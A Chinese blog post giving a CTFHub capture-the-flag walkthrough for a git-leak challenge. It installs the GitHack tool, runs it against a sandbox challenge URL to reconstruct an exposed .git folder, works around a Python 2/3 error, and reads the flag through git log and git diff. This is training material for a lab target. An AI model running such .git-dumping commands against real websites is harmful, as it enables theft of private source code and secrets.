题目描述
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。请尝试使用BugScanTeam的GitHack完成本题
实验环境
这里使用的是Ubuntu 22.04.4 LTS 的环境
sudo apt install git
sudo apt install python3
拉取代码
git clone https://github.com/BugScanTeam/GitHack.git
cd GitHack/ #进入目录
python GitHack.py http://challenge-605a54e46515175b.sandbox.ctfhub.com:10800/.git/
出现报错
python: can't open file '/home/hhj/GitHack/http://challenge-605a54e46515175b.sandbox.ctfhub.com:10800/.git/': [Errno 2] No such file or directory
查阅资料得到是因为python版本不兼容导致的
sudo apt install python2
继续执行
python2 GitHack.py http://challenge-605a54e46515175b.sandbox.ctfhub.com:10800/.git/
[+] Clone Success. Dist File : /home/hhj/GitHack/dist/challenge-605a54e46515175b.sandbox.ctfhub.com_10800
cd dist/challenge-605a54e46515175b.sandbox.ctfhub.com_10800
git log
commit cb3528eb4245477e2b6c43ab85f13446eba7e9d4
Author: CTFHub <[email protected]>
Date: Mon Apr 22 10:09:07 2024 +0000
add flag
....
进行对比
git diff cb3528eb4245477e2b6c43ab85f13446eba7e9d4
差异即为flag
标签:泄漏,git,ctfhub,10800,GitHack,605a54e46515175b,com From: https://www.cnblogs.com/ErFu/p/18151217